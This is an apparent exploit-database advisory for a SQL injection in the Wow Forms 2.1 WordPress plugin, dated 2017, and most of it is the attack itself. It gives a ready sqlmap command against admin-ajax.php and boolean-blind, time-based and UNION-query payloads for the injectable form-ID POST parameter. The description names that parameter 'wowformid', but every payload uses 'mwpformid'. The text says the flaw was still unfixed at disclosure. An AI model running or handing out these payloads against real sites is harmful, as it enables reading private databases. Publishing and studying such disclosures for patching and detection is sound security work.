WordPress Wow Forms 2.1 SQL Injection

`# Exploit Title: Wow Forms v2.1 WordPress Plugin SQL Injection  
# Date: 29/03/2017  
# Exploit Author: TAD GROUP  
# Vendor Homepage: http://wow-company.com/  
# Software Link: https://wordpress.org/plugins/mwp-forms/  
# Version: 2.1  
# Contact: [email protected]  
# Website: https://tad.bg <https://tad.bg>  
# Category: Web Application Exploits  
  
1. Description  
  
An unescaped parameter was found in Wow Forms v2.1 (WP plugin). An attacker can exploit this vulnerability to read from the database.  
The POST parameter 'wowformid' is vulnerable.  
  
2. Proof of concept  
  
sqlmap -u "http://server/wp-admin/admin-ajax.php" --data "action=send_mwp_form&arrkey%5B%5D=mwp-field-0&arrkey%5B%5D=mwp-forms-textarea-0&arrval%5B%5D=form2&arrval%5B%5D=rrr&mwpformid=1*" --dbs --threads=10 --random-agent --dbms mysql  
  
Parameter: Array-like #6* ((custom) POST)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: action=send_mwp_form&arrkey[]=mwp-field-0&arrkey[]=mwp-forms-textarea-0&arrval[]=form2&arrval[]=rrr&mwpformid=4 AND 6968=6968  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)  
Payload: action=send_mwp_form&arrkey[]=mwp-field-0&arrkey[]=mwp-forms-textarea-0&arrval[]=form2&arrval[]=rrr&mwpformid=4 AND (SELECT * FROM (SELECT(SLEEP(5)))gxQa)  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 65 columns  
Payload: action=send_mwp_form&arrkey[]=mwp-field-0&arrkey[]=mwp-forms-textarea-0&arrval[]=form2&arrval[]=rrr&mwpformid=4 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71766a7671,0x6b656f4d516d7a6b736f596f49746d4e776a7663716f4d41654c6e516e516c6c6c7a5274744a6d57,0x716a6b6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULLa -  
  
3. Attack outcome:  
  
An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.  
  
4. Impact  
  
Critical  
  
5. Affected versions  
  
<= 2.1  
  
6. Disclosure timeline  
  
15-Mar-2017 - found the vulnerability  
15-Mar-2017 - informed the developer  
29-Mar-2017 - release date of this security advisory  
  
Not fixed at the date of submitting this exploit.  
  
`